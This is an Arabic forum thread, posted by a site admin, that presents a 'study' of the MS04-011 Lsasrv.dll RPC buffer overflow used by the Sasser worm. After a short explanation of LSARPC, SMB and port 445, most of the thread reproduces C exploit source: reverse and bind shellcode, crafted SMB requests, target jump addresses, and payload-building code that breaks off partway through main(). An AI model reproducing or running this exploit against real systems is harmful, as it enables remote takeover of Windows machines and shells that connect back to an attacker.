موقع يوتيوب مصر
 
الرئيسيةالبوابةس .و .جبحـثالأعضاءالمجموعاتالتسجيلدخول

شاطر | 
 

 دراسة جامدة جدا لأخطر ثغرات الوندوز وفيرس ساسر هديتى لعام 2007

اذهب الى الأسفل 
كاتب الموضوعرسالة
Admin
Admin


المساهمات : 20
تاريخ التسجيل : 22/05/2008

مُساهمةموضوع: دراسة جامدة جدا لأخطر ثغرات الوندوز وفيرس ساسر هديتى لعام 2007   الجمعة مايو 23, 2008 5:26 am

بسم الله الرحمن الرحيم
انا مش هقول استمتع مع مين انتو عرفين

البداية ستقوم بتحليل الثغرة : Windows Lsasrv.dll RPC buffer overflow Remote


هذة الثغرة من أخطر الثغرات التي أكتشفت في سنة 2004 وبالتحديد في شهر 4


تم صناعة عشرات الفايروسات لهذة الثغرة ومن أهمها (الدودة ساسر Sasser )


ومن لايعرف ساسر ( أسرع فايروس إنتشاراً بين الأجهزة )


بمجرد وصل الجهاز بالإنترنت - يدخل هذا الفايروس إلى جهازك وينفذ مايريد.


وسنتعرف أيضاً على أشكال أخرى لإستغلال الثغرة يستخدمها المخترقين ومن أهمها


الأداة Netcat : الأداة السحرية لصناعة بروتوكولات التحكم والإرسال بطريقة لاتصدق


الأداة Ethereal : أفضل طريقة لمراقبة بروتوكولات الشبكة وكل بايت يكتب أو يقرأ


الأداة cryptcat : أداة تشفير البيانات المرسلة للحفاظ على السرية


ولحسن الحظ أن هذة الأدوات تعمل على كل أنظمة التشغيل !
-
بالإضافة إلى أننا سنطلع على المجهود الكبير الذي بذل لإكتشاف هذة الثغرة


وسنتعرف على قاعدة مهمة , وهي:


أن إكتشاف الثغرة شيء صعب ومعقد , ولكن إذا إكتشفتها فإن عملية الدخول إلى أي


جهاز وإختراقة - سيتطلب الموضوع كبسة زر فقط - وسترى الأمثلة في هذا الدرس
-
نبدأ بدراسة الثغرة :


برنامج الأمن في أنظمة وندوز NT هو البرنامج lsass.exe هذا البرنامج يكلفة النظام بالعمل فوق طاقتة


من بداية عملية الإقلاع ومروراً بالإتصالات والشبكات والمستخدمين و.و.. الخ


المهم الثغرة التي سندرسها اليوم توجد في الملف lsasrv.dll هذا الملف من مجموعة ملفات البرنامج lsass.exe
-
الملف lsasrv.dll هذا الملف مسؤل عن الإتصالات وعمل بعض الخوادم المهمة والبروتوكولات


عندما يشتغل هذا الملف فإنة يقوم بخلق عدة عمليات أو أنابيب pipe عن طريق بعض الدوال مثل CreateNamedPipe


هذة الأنابيب مسؤلة عن نقل البيانات بين العمليات إما في جهاز واحد أو عدة أجهزة على شبكة


إذاً أول معلومة هي : تبادل البيانات بين أجهزة الشبكة يحدث عن طريق مايعرف بالأنابيب


مايهمنا في هذا الموضوع هو الأنبوب LSARPC وإسمة في الذاكرة
\PIPE\LSARPC
المهم في البرنامج lsass.exe وبالتحديد في المكتبة lsasrv.dll وبالتحديد أكثر في العملية lsarpc


تم إيجاد خطأ وهذا الخطأ أدى إلى وجود ثغرة أدت إلى إختراق الأجهزة ودخول الفايروسات


أولاً سنبدأ بدراسة كود أو دالة الخطأ , وبعد ذلك ندرس طريقة إكتشاف وإستغلال الثغرة


بداية الخطأ يوجد في الدالة المصدرة من المكتبة lsasrv.dll إسم الدالة DsRolerDcAsDc


تحتوي هذة الدالة على كود لكتابة ملف نصي في المسار WINDOWS\Debug\DCPROMO.LOG


يتم ترتيب بيانات هذا الملف بواسطة دالة wvsprintfW (في الأنظمة الأجنبية إسم الدالة vsprintf )


في هذة الدالة وجد الخطأ وصنعت الثغرة ,,, كيف ؟؟



البارمتر الأول لهذة الدالة يمثل مخزن بيانات buf والبارمتر الثالث يمثل مصدر البيانات


تمكن المخترقين من إيجاد طريقة لتحميل البارمتر3 للدالة بحجم بيانات أكبر من المخزن buf


ممايؤدي إلى خطأ فيض - مشابهة للمثال الذي تحدثنا عنة في الدرس الأول - وبعد ذلك إدخال ****lcode


--


إلى هنا يعتبر إكتشاف خطأ وبداية إكتشاف ثغرة ,, ولكن لاتوجد أي فائدة


ولكي نستفيد من هذا الخطأ يجب أن نجمع معلومات تفصيلية عن الخطأ لكي نعرف كيف نستغلة !


نبدأ بالبحث عن مجال الخطأ ,, أولاً الدالة DsRolerDcAsDc هي إحدى دوال مجموعة DS


هذا المختصر يعني خدمات الدليل Directory Service وهي إحدى مكونات الشبكة !


بالتأكيد مبرمجي المواقع والشبكات يعرفون هذا المصطلح : Active Directory


بكل إختصار DS :


عبارة عن قاعدة بيانات لتحديد وتسهيل الوصول إلى الموارد والمصادر المشتركة بين الأجهزة
مثل الطابعة في شبكة محلية تعتبر مصدر - تحديد صفحة أو ملف في موقع على شبكة الإنترنت


ولكي تجرب بعض إستخدامات هذا الدليل : شغل الدوس وقم بكتابة


net view \\199.1.1.1 لكي تعرض الموارد والمصادر المشتركة في الجهاز(الرقم يمثل ip)


ويمكن أن تستخدم أدوات متطورة لمراقبة كل بايت يكتب أو يقرأ , لاحظ الصورة. :



الصورة تمثل برنامج أو أداة Ethereal وهي من أهم الأدوات لمراقبة بروتوكولات الشبكة


لتثبيت الأداة يجب ـ تخزين برنامجين :


http://www.ethereal.com/distribution...inPcap_2_3.exe


http://www.ethereal.com/distribution...tup-0.10.8.exe


نلاحظ في الصورة تبادل البيانات والوصول إلى ds عبر منفذ 445


والسؤال الآن , كيف يتم هذا التبادل وكيف يتم الوصو إلى مصادر الشبكة عن بعد ؟!


شغل برنامج الدوس وإكتب الأمر :
net use \\199.1.1.1\ipc$ "user"
هذا الأمر أو هذا التخطيط يوضح طريقة التبادل وإرسال البيانات


التخطيط يبدأ بعنوان ip و ipc$ يمثل المورد الإداري (خاص بمدراء الشبكة) وبعد ذلك بيانات المستخدم


يتم إرسال هذة المعلومات عبر بروتوكول يسمى SMB إختصار Server Message Blocks


يتم التعامل مع بروتوكول smb عن طريق الرسائل بإستخدام الدالة send


هل جربت يوم إستخدام رسائل أي بروتوكول في البرمجة , مثلاً هل جربت إرسال رسالة إلى بريد


بإستخدام بروتوكول smpt , هل لاحظت طريقة التفاهم مع الخادم عن طريق الرسائل


مثل الرسالة HELO و MAIL FROM: و RCPT TO وغيرها من الأوامر


هل جربت إستخدام بروتوكول ftp وهل رأيت طريقة المخاطبة لكي تحمل أو تخزن ملف.


كل هذة البروتوكولات يتم التعامل معها عن طريق إرسال رسالة أوإرسال طلب وإنتظار الرد


بروتوكول smb يستخدم هذة الرسائل , وتنقسم كل رسالة في هذا البروتوكول إلى 3 أقسام :


معرف الأمر - بارمترات الأمر - معلومات المستخدم
الرسائل في بروتوكول smb مختلفة عن الرسائل في البروتوكولات الأخرى


لأنها قد تعتبر غير مفهومة أو غامضة بالنسبة للمستخدم لأن معرف الأمر عبارة عن رقم بالهكس

الرجوع الى أعلى الصفحة اذهب الى الأسفل
معاينة صفحة البيانات الشخصي للعضو http://video.yoo7.com
Admin
Admin


المساهمات : 20
تاريخ التسجيل : 22/05/2008

مُساهمةموضوع: رد: دراسة جامدة جدا لأخطر ثغرات الوندوز وفيرس ساسر هديتى لعام 2007   الجمعة مايو 23, 2008 5:26 am

وبارمترات الأمر غالبا ماتكون أرقام هكس وحتى معلومات المستخدم , لاحظ هذة الرسالة
00 00 00 DA FF 53 4D 42 73 00 00 00 00 18 07 C8 ...عےSMBs.... ب
00 00 00 00 00 00 00 00 00 00 00 00 00 00 FF FE ..............ے‏
00 08 20 00 0C FF 00 DA 00 04 11 0A 00 00 00 00 . ..ے.ع. .....
00 00 00 57 00 00 00 00 00 D4 00 00 80 9F 00 4E ...W.....ش..€ں.N
ولكن هذة الرسالة لها معنى إذا ما عرفنا أوامر البروتوكول smb والبارمترات


المهم , المراجع لأوامر البروتوكول smb كثيرة وبالأخص مكتبة مايكروسفت msdn
-
أهم المعلومات التي ذكرت:


توجد الثغرة في بداخل إحدى دوال DS وبالتحديد في دالة النصوص wvsprintfW


يتم فتح منفذ في الجهاز لخدمات الدليل وإدارة الموارد وهو المنفذ 445


يتم تبادل المعلومات الخاصة بالموارد ومشاركة الملفات عبر بروتوكول smb


مانريدة : الدخول إلى الجهاز بإستخدام بروتوكول smb عن طريق المنفذ 445 وننفذ الدالة wvsprintfW


هذا ماسنقوم بة في القسم 2


الآن ندخل في الموضوع والتطبيق العملي :
سنبدأ بعرض الكود الذي كتب لإستغلال هذة الثغرة
وسنقوم ببعض التجارب التطبيقية لكي نفهم الثغرة بشكل أكبر
الكود + ****lcode بلغة السي :


#include <windows.h>


#pragma comment(lib, "ws2_32")


// شيل كود عبارة عن برنامج يعيد إصدار ونوع النظام
// reverse ****lcode
unsigned char reverse****l[] =
"\xEB\x10\x5B\x4B\x33\xC9\x66\xB9\x25\x01\x80\ x34\ x0B\x99\xE2\xFA"
"\xEB\x05\xE8\xEB\xFF\xFF\xFF"
"\x70\x62\x99\x99\x99\xC6\xFD\x38\xA9\x99\x99\ x99\ x12\xD9\x95\x12"
"\xE9\x85\x34\x12\xF1\x91\x12\x6E\xF3\x9D\xC0\ x71\ x02\x99\x99\x99"
"\x7B\x60\xF1\xAA\xAB\x99\x99\xF1\xEE\xEA\xAB\ xC6\ xCD\x66\x8F\x12"
"\x71\xF3\x9D\xC0\x71\x1B\x99\x99\x99\x7B\x60\ x18\ x75\x09\x98\x99"
"\x99\xCD\xF1\x98\x98\x99\x99\x66\xCF\x89\xC9\ xC9\ xC9\xC9\xD9\xC9"
"\xD9\xC9\x66\xCF\x8D\x12\x41\xF1\xE6\x99\x99\ x98\ xF1\x9B\x99\x9D"
"\x4B\x12\x55\xF3\x89\xC8\xCA\x66\xCF\x81\x1C\ x59\ xEC\xD3\xF1\xFA"
"\xF4\xFD\x99\x10\xFF\xA9\x1A\x75\xCD\x14\xA5\ xBD\ xF3\x8C\xC0\x32"
"\x7B\x64\x5F\xDD\xBD\x89\xDD\x67\xDD\xBD\xA4\ x10\ xC5\xBD\xD1\x10"
"\xC5\xBD\xD5\x10\xC5\xBD\xC9\x14\xDD\xBD\x89\ xCD\ xC9\xC8\xC8\xC8"
"\xF3\x98\xC8\xC8\x66\xEF\xA9\xC8\x66\xCF\x9D\ x12\ x55\xF3\x66\x66"
"\xA8\x66\xCF\x91\xCA\x66\xCF\x85\x66\xCF\x95\ xC8\ xCF\x12\xDC\xA5"
"\x12\xCD\xB1\xE1\x9A\x4C\xCB\x12\xEB\xB9\x9A\ x6C\ xAA\x50\xD0\xD8"
"\x34\x9A\x5C\xAA\x42\x96\x27\x89\xA3\x4F\xED\ x91\ x58\x52\x94\x9A"
"\x43\xD9\x72\x68\xA2\x86\xEC\x7E\xC3\x12\xC3\ xBD\ x9A\x44\xFF\x12"
"\x95\xD2\x12\xC3\x85\x9A\x44\x12\x9D\x12\x9A\ x5C\ x32\xC7\xC0\x5A"
"\x71\x99\x66\x66\x66\x17\xD7\x97\x75\xEB\x67\ x2A\ x8F\x34\x40\x9C"
"\x57\x76\x57\x79\xF9\x52\x74\x65\xA2\x40\x90\ x6C\ x34\x75\x60\x33"
"\xF9\x7E\xE0\x5F\xE0";



// شيل كود عبارة عن برنامج فتح منفذ وإنصات وهو كود الإختراق
// bind ****lcode
unsigned char bind****l[] =
"\xEB\x10\x5A\x4A\x33\xC9\x66\xB9\x7D\x01\x80\ x34\ x0A\x99\xE2\xFA"
"\xEB\x05\xE8\xEB\xFF\xFF\xFF"
"\x70\x95\x98\x99\x99\xC3\xFD\x38\xA9\x99\x99\ x99\ x12\xD9\x95\x12"
"\xE9\x85\x34\x12\xD9\x91\x12\x41\x12\xEA\xA5\ x12\ xED\x87\xE1\x9A"
"\x6A\x12\xE7\xB9\x9A\x62\x12\xD7\x8D\xAA\x74\ xCF\ xCE\xC8\x12\xA6"
"\x9A\x62\x12\x6B\xF3\x97\xC0\x6A\x3F\xED\x91\ xC0\ xC6\x1A\x5E\x9D"
"\xDC\x7B\x70\xC0\xC6\xC7\x12\x54\x12\xDF\xBD\ x9A\ x5A\x48\x78\x9A"
"\x58\xAA\x50\xFF\x12\x91\x12\xDF\x85\x9A\x5A\ x58\ x78\x9B\x9A\x58"
"\x12\x99\x9A\x5A\x12\x63\x12\x6E\x1A\x5F\x97\ x12\ x49\xF3\x9A\xC0"
"\x71\x1E\x99\x99\x99\x1A\x5F\x94\xCB\xCF\x66\ xCE\ x65\xC3\x12\x41"
"\xF3\x9C\xC0\x71\xED\x99\x99\x99\xC9\xC9\xC9\ xC9\ xF3\x98\xF3\x9B"
"\x66\xCE\x75\x12\x41\x5E\x9E\x9B\x99\x9D\x4B\ xAA\ x59\x10\xDE\x9D"
"\xF3\x89\xCE\xCA\x66\xCE\x69\xF3\x98\xCA\x66\ xCE\ x6D\xC9\xC9\xCA"
"\x66\xCE\x61\x12\x49\x1A\x75\xDD\x12\x6D\xAA\ x59\ xF3\x89\xC0\x10"
"\x9D\x17\x7B\x62\x10\xCF\xA1\x10\xCF\xA5\x10\ xCF\ xD9\xFF\x5E\xDF"
"\xB5\x98\x98\x14\xDE\x89\xC9\xCF\xAA\x50\xC8\ xC8\ xC8\xF3\x98\xC8"
"\xC8\x5E\xDE\xA5\xFA\xF4\xFD\x99\x14\xDE\xA5\ xC9\ xC8\x66\xCE\x79"
"\xCB\x66\xCE\x65\xCA\x66\xCE\x65\xC9\x66\xCE\ x7D\ xAA\x59\x35\x1C"
"\x59\xEC\x60\xC8\xCB\xCF\xCA\x66\x4B\xC3\xC0\ x32\ x7B\x77\xAA\x59"
"\x5A\x71\x76\x67\x66\x66\xDE\xFC\xED\xC9\xEB\ xF6\ xFA\xD8\xFD\xFD"
"\xEB\xFC\xEA\xEA\x99\xDA\xEB\xFC\xF8\xED\xFC\ xC9\ xEB\xF6\xFA\xFC"
"\xEA\xEA\xD8\x99\xDC\xE1\xF0\xED\xCD\xF1\xEB\ xFC\ xF8\xFD\x99\xD5"
"\xF6\xF8\xFD\xD5\xF0\xFB\xEB\xF8\xEB\xE0\xD8\ x99\ xEE\xEA\xAB\xC6"
"\xAA\xAB\x99\xCE\xCA\xD8\xCA\xF6\xFA\xF2\xFC\ xED\ xD8\x99\xFB\xF0"
"\xF7\xFD\x99\xF5\xF0\xEA\xED\xFC\xF7\x99\xF8\ xFA\ xFA\xFC\xE9\xED"
"\x99\xFA\xF5\xF6\xEA\xFC\xEA\xF6\xFA\xF2\xFC\ xED\ x99";





// بقية هذة البيانات لاتعتبر أكواد تنفيذية


// وإنما هي رسائل لبروتوكول SMB



char req1[] =
"\x00\x00\x00\x85\xFF\x53\x4D\x42\x72\x00\x00\ x00\ x00\x18\x53\xC8"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\ x00\ x00\x00\xFF\xFE"
"\x00\x00\x00\x00\x00\x62\x00\x02\x50\x43\x20\ x4E\ x45\x54\x57\x4F"
"\x52\x4B\x20\x50\x52\x4F\x47\x52\x41\x4D\x20\ x31\ x2E\x30\x00\x02"
"\x4C\x41\x4E\x4D\x41\x4E\x31\x2E\x30\x00\x02\ x57\ x69\x6E\x64\x6F"
"\x77\x73\x20\x66\x6F\x72\x20\x57\x6F\x72\x6B\ x67\ x72\x6F\x75\x70"
"\x73\x20\x33\x2E\x31\x61\x00\x02\x4C\x4D\x31\ x2E\ x32\x58\x30\x30"
"\x32\x00\x02\x4C\x41\x4E\x4D\x41\x4E\x32\x2E\ x31\ x00\x02\x4E\x54"
"\x20\x4C\x4D\x20\x30\x2E\x31\x32\x00";


char req2[] =
"\x00\x00\x00\xA4\xFF\x53\x4D\x42\x73\x00\x00\ x00\ x00\x18\x07\xC8"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\ x00\ x00\x00\xFF\xFE"
"\x00\x00\x10\x00\x0C\xFF\x00\xA4\x00\x04\x11\ x0A\ x00\x00\x00\x00"
"\x00\x00\x00\x20\x00\x00\x00\x00\x00\xD4\x00\ x00\ x80\x69\x00\x4E"
"\x54\x4C\x4D\x53\x53\x50\x00\x01\x00\x00\x00\ x97\ x82\x08\xE0\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\ x00\ x00\x00\x00\x00"
"\x57\x00\x69\x00\x6E\x00\x64\x00\x6F\x00\x77\ x00\ x73\x00\x20\x00"
"\x32\x00\x30\x00\x30\x00\x30\x00\x20\x00\x32\ x00\ x31\x00\x39\x00"
"\x35\x00\x00\x00\x57\x00\x69\x00\x6E\x00\x64\ x00\ x6F\x00\x77\x00"
"\x73\x00\x20\x00\x32\x00\x30\x00\x30\x00\x30\ x00\ x20\x00\x35\x00"
"\x2E\x00\x30\x00\x00\x00\x00\x00";



char req3[] =
"\x00\x00\x00\xDA\xFF\x53\x4D\x42\x73\x00\x00\ x00\ x00\x18\x07\xC8"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\ x00\ x00\x00\xFF\xFE"
"\x00\x08\x20\x00\x0C\xFF\x00\xDA\x00\x04\x11\ x0A\ x00\x00\x00\x00"
"\x00\x00\x00\x57\x00\x00\x00\x00\x00\xD4\x00\ x00\ x80\x9F\x00\x4E"
"\x54\x4C\x4D\x53\x53\x50\x00\x03\x00\x00\x00\ x01\ x00\x01\x00\x46"
"\x00\x00\x00\x00\x00\x00\x00\x47\x00\x00\x00\ x00\ x00\x00\x00\x40"
"\x00\x00\x00\x00\x00\x00\x00\x40\x00\x00\x00\ x06\ x00\x06\x00\x40"
"\x00\x00\x00\x10\x00\x10\x00\x47\x00\x00\x00\ x15\ x8A\x88\xE0\x48"
"\x00\x4F\x00\x44\x00\x00\x81\x19\x6A\x7A\xF2\ xE4\ x49\x1C\x28\xAF"
"\x30\x25\x74\x10\x67\x53\x57\x00\x69\x00\x6E\ x00\ x64\x00\x6F\x00"
"\x77\x00\x73\x00\x20\x00\x32\x00\x30\x00\x30\ x00\ x30\x00\x20\x00"
"\x32\x00\x31\x00\x39\x00\x35\x00\x00\x00\x57\ x00\ x69\x00\x6E\x00"
"\x64\x00\x6F\x00\x77\x00\x73\x00\x20\x00\x32\ x00\ x30\x00\x30\x00"
"\x30\x00\x20\x00\x35\x00\x2E\x00\x30\x00\x00\ x00\ x00\x00";



char req4[] =
"\x00\x00\x00\x5C\xFF\x53\x4D\x42\x75\x00\x00\ x00\ x00\x18\x07\xC8"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\ x00\ x00\x00\xFF\xFE"
"\x00\x08\x30\x00\x04\xFF\x00\x5C\x00\x08\x00\ x01\ x00\x31\x00\x00"
"\x5C\x00\x5C\x00\x31\x00\x39\x00\x32\x00\x2E\ x00\ x31\x00\x36\x00"
"\x38\x00\x2E\x00\x31\x00\x2E\x00\x32\x00\x31\ x00\ x30\x00\x5C\x00"
"\x49\x00\x50\x00\x43\x00\x24"
"\x00\x00\x00\x3F\x3F\x3F\x3F\x3F\x00";


char req5[] =
"\x00\x00\x00\x64\xFF\x53\x4D\x42\xA2\x00\x00\ x00\ x00\x18\x07\xC8"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\ x00\ x00\x08\xDC\x04"
"\x00\x08\x40\x00\x18\xFF\x00\xDE\xDE\x00\x0E\ x00\ x16\x00\x00\x00"
"\x00\x00\x00\x00\x9F\x01\x02\x00\x00\x00\x00\ x00\ x00\x00\x00\x00"
"\x00\x00\x00\x00\x03\x00\x00\x00\x01\x00\x00\ x00\ x40\x00\x00\x00"
"\x02\x00\x00\x00\x03\x11\x00\x00\x5C\x00\x6C\ x00\ x73\x00\x61\x00"
"\x72\x00\x70\x00\x63\x00\x00\x00";


char req6[] =
"\x00\x00\x00\x9C\xFF\x53\x4D\x42\x25\x00\x00\ x00\ x00\x18\x07\xC8"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\ x00\ x00\x08\xDC\x04"
"\x00\x08\x50\x00\x10\x00\x00\x48\x00\x00\x00\ x00\ x04\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x54\x00\ x48\ x00\x54\x00\x02"
"\x00\x26\x00\x00\x40\x59\x00\x10\x5C\x00\x50\ x00\ x49\x00\x50\x00"
"\x45\x00\x5C\x00\x00\x00\x00\x00\x05\x00\x0B\ x03\ x10\x00\x00\x00"
"\x48\x00\x00\x00\x01\x00\x00\x00\xB8\x10\xB8\ x10\ x00\x00\x00\x00"
"\x01\x00\x00\x00\x00\x00\x01\x00\x6A\x28\x19\ x39\ x0C\xB1\xD0\x11"
"\x9B\xA8\x00\xC0\x4F\xD9\x2E\xF5\x00\x00\x00\ x00\ x04\x5D\x88\x8A"
"\xEB\x1C\xC9\x11\x9F\xE8\x08\x00\x2B\x10\x48\ x60\ x02\x00\x00\x00";


char req7[] =
"\x00\x00\x0C\xF4\xFF\x53\x4D\x42\x25\x00\x00\ x00\ x00\x18\x07\xC8"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\ x00\ x00\x08\xDC\x04"
"\x00\x08\x60\x00\x10\x00\x00\xA0\x0C\x00\x00\ x00\ x04\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x54\x00\ xA0\ x0C\x54\x00\x02"
"\x00\x26\x00\x00\x40\xB1\x0C\x10\x5C\x00\x50\ x00\ x49\x00\x50\x00"
"\x45\x00\x5C\x00\x00\x00\x00\x00\x05\x00\x00\ x03\ x10\x00\x00\x00"
"\xA0\x0C\x00\x00\x01\x00\x00\x00\x88\x0C\x00\ x00\ x00\x00\x09\x00"
"\xEC\x03\x00\x00\x00\x00\x00\x00\xEC\x03\x00\ x00" ;
// room for ****lcode here ...


char shit1[] =


"\x95\x14\x40\x00\x03\x00\x00\x00\x7C\x70\x40\ x00\ x01\x00\x00\x00"
"\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\ x00\ x01\x00\x00\x00"
"\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\ x00\ x01\x00\x00\x00"
"\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\ x00\ x01\x00\x00\x00"
"\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\ x00\ x7C\x70\x40\x00"
"\x01\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\ x00\ x00\x00\x00\x00"
"\x7C\x70\x40\x00\x01\x00\x00\x00\x00\x00\x00\ x00\ x01\x00\x00\x00"
"\x00\x00\x00\x00\x7C\x70\x40\x00\x01\x00\x00\ x00\ x00\x00\x00\x00"
"\x01\x00\x00\x00\x00\x00\x00\x00\x78\x85\x13\ x00\ xAB\x5B\xA6\xE9";


char req8[] =
"\x00\x00\x10\xF8\xFF\x53\x4D\x42\x2F\x00\x00\ x00\ x00\x18\x07\xC8"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\ x00\ x00\x08\xFF\xFE"
"\x00\x08\x60\x00\x0E\xFF\x00\xDE\xDE\x00\x40\ x00\ x00\x00\x00\xFF"
"\xFF\xFF\xFF\x08\x00\xB8\x10\x00\x00\xB8\x10\ x40\ x00\x00\x00\x00"
"\x00\xB9\x10\xEE\x05\x00\x00\x01\x10\x00\x00\ x00\ xB8\x10\x00\x00"
"\x01\x00\x00\x00\x0C\x20\x00\x00\x00\x00\x09\ x00\ xAD\x0D\x00\x00"
"\x00\x00\x00\x00\xAD\x0D\x00\x00";
// room for ****lcode here ...


char req9[] =
"\x00\x00\x0F\xD8\xFF\x53\x4D\x42\x25\x00\x00\ x00\ x00\x18\x07\xC8"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\ x00\ x00\x08\x18\x01"
"\x00\x08\x70\x00\x10\x00\x00\x84\x0F\x00\x00\ x00\ x04\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x54\x00\ x84\ x0F\x54\x00\x02"
"\x00\x26\x00\x00\x40\x95\x0F\x00\x5C\x00\x50\ x00\ x49\x00\x50\x00"
"\x45\x00\x5C\x00\x00\x00\x00\x00\x05\x00\x00\ x02\ x10\x00\x00\x00"
"\x84\x0F\x00\x00\x01\x00\x00\x00\x6C\x0F\x00\ x00\ x00\x00\x09\x00";



char shit3[] =
"\x00\x00\x00\x00\x9A\xA8\x40\x00\x01\x00\x00\ x00\ x00\x00\x00\x00"
"\x01\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\ x00\ x00\x00\x00\x00"
"\x01\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\ x00\ x00\x00\x00\x00"
"\x01\x00\x00\x00"
"\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\ x00\ x01\x00\x00\x00"
"\x00\x00\x00\x00\x9A\xA8\x40\x00\x01\x00\x00\ x00\ x00\x00\x00\x00"
"\x01\x00\x00\x00\x00\x00\x00\x00\x9A\xA8\x40\ x00\ x01\x00\x00\x00"
"\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\ x00\ x9A\xA8\x40\x00"
"\x01\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\ x00\ x00\x00\x00\x00";





#define LEN 3500
#define BUFSIZE 2000
#define NOP 0x90


struct targets {


intnum;
charname[50];
longjmpaddr;


} ttarget[]= {


{ 0, "WinXP Professional [universal] lsass.exe ",0x01004600 }, // jmp esp addr
{ 1, "Win2k Professional [universal] netrap.dll",0x7515123c }, // jmp ebx addr
{ 2, "Win2k Advanced Server [SP4] netrap.dll",0x751c123c }, // jmp ebx addr
//{ 3, "reboot",0xffffffff }, // crash
{ NULL }

الرجوع الى أعلى الصفحة اذهب الى الأسفل
معاينة صفحة البيانات الشخصي للعضو http://video.yoo7.com
Admin
Admin


المساهمات : 20
تاريخ التسجيل : 22/05/2008

مُساهمةموضوع: رد: دراسة جامدة جدا لأخطر ثغرات الوندوز وفيرس ساسر هديتى لعام 2007   الجمعة مايو 23, 2008 5:27 am

};


void usage(char *prog)
{
int i;
printf("Usage:\n\n");
printf("%s <target> <victim IP> <bindport> [connectback IP] [options]\n\n", prog);
printf("Targets:\n");
for (i=0; i<3; i++)
printf("%d [0x%.8x]: %s\n", ttarget[i].num, ttarget[i].jmpaddr, ttarget[i].name);
printf("\nOptions:\n");
printf("-tetect remote OS:\n");
printf("Windows 5.1 - WinXP\n");
printf("Windows 5.0 - Win2k\n\n");
exit(0);
}




int main(int argc, char *argv[])
{


int i;
int opt = 0;
char *target;
char hostipc[40];
char hostipc2[40*2];


unsigned short port;
unsigned long ip;
unsigned char *sc;


char buf[LEN+1];
char sendbuf[(LEN+1)*2];


char req4u[sizeof(req4)+20];


char screq[BUFSIZE+sizeof(req7)+1500+440];
char screq2k[4348+4060];
char screq2k2[4348+4060];


char recvbuf[1600];


char strasm[]="\x66\x81\xEC\x1C\x07\xFF\xE4";
char strBuffer[BUFSIZE];


unsigned int targetnum = 0;


int len, sockfd;
short dport = 445;
struct hostent *he;
struct sockaddr_in their_addr;
char smblen;
char unclen;
WSADATA wsa;



printf("\nMS04011 Lsasrv.dll RPC buffer overflow remote exploit v0.1\n");
printf("--- Coded by .::[ houseofdabus ]::. ---\n\n");



if (argc < 4) {
usage(argv[0]);
}


target = argv[2];
sprintf((char *)hostipc,"\\\\%s\\ipc$", target);


for (i=0; i<40; i++) {
hostipc2[i*2] = hostipc[i];
hostipc2[i*2+1] = 0;
}


memcpy(req4u, req4, sizeof(req4)-1);
memcpy(req4u+48, &hostipc2[0], strlen(hostipc)*2);
memcpy(req4u+47+strlen(hostipc)*2, req4+87, 9);


smblen = 52+(char)strlen(hostipc)*2;
memcpy(req4u+3, &smblen, 1);


unclen = 9 + (char)strlen(hostipc)*2;
memcpy(req4u+45, &unclen, 1);


if (argc > 4)
if (!memcmp(argv[4], "-t", 2)) opt = 1;


if ( (argc > 4) && !opt ) {
port = htons(atoi(argv[3]))^(USHORT)0x9999;
ip = inet_addr(argv[4])^(ULONG)0x99999999;
memcpy(&reverse****l[118], &port, 2);
memcpy(&reverse****l[111], &ip, 4);
sc = reverse****l;
} else {
port = htons(atoi(argv[3]))^(USHORT)0x9999;
memcpy(&bind****l[176], &port, 2);
sc = bind****l;
}



if ( (atoi(argv[1]) == 1) || (atoi(argv[1]) == 2)) {
memset(buf, NOP, LEN);


//memcpy(&buf[2020], "\x3c\x12\x15\x75", 4);
memcpy(&buf[2020], &ttarget[atoi(argv[1])].jmpaddr, 4);
memcpy(&buf[2036], sc, strlen(sc));


memcpy(&buf[2840], "\xeb\x06\xeb\x06", 4);
memcpy(&buf[2844], &ttarget[atoi(argv[1])].jmpaddr, 4); // jmp ebx addr
//memcpy(&buf[2844], "\x3c\x12\x15\x75", 4); // jmp ebx addr


memcpy(&buf[2856], sc, strlen(sc));


for (i=0; i<LEN; i++) {
sendbuf[i*2] = buf[i];
sendbuf[i*2+1] = 0;
}
sendbuf[LEN*2]=0;
sendbuf[LEN*2+1]=0;


memset(screq2k, 0x31, (BUFSIZE+sizeof(req7)+1500)*2);
memset(screq2k2, 0x31, (BUFSIZE+sizeof(req7)+1500)*2);


} else {
memset(strBuffer, NOP, BUFSIZE);
memcpy(strBuffer+160, sc, strlen(sc));
memcpy(strBuffer+1980, strasm, strlen(strasm));
*(long *)&strBuffer[1964]=ttarget[atoi(argv[1])].jmpaddr;
}


memset(screq, 0x31, BUFSIZE+sizeof(req7)+1500);


WSAStartup(MAKEWORD(2,0),&wsa);


if ((he=gethostbyname(argv[2])) == NULL) { // get the host info
perror("[-] gethostbyname ");
exit(1);
}


if ((sockfd = socket(AF_INET, SOCK_STREAM, 0)) == -1) {
perror("socket");
exit(1);
}



their_addr.sin_family = AF_INET;
their_addr.sin_port = htons(dport);
their_addr.sin_addr = *((struct in_addr *)he->h_addr);
memset(&(their_addr.sin_zero), '\0', Cool;


printf("
[*] Target: IP: %s: OS: %s\n", argv[2], ttarget[atoi(argv[1])].name);
printf("
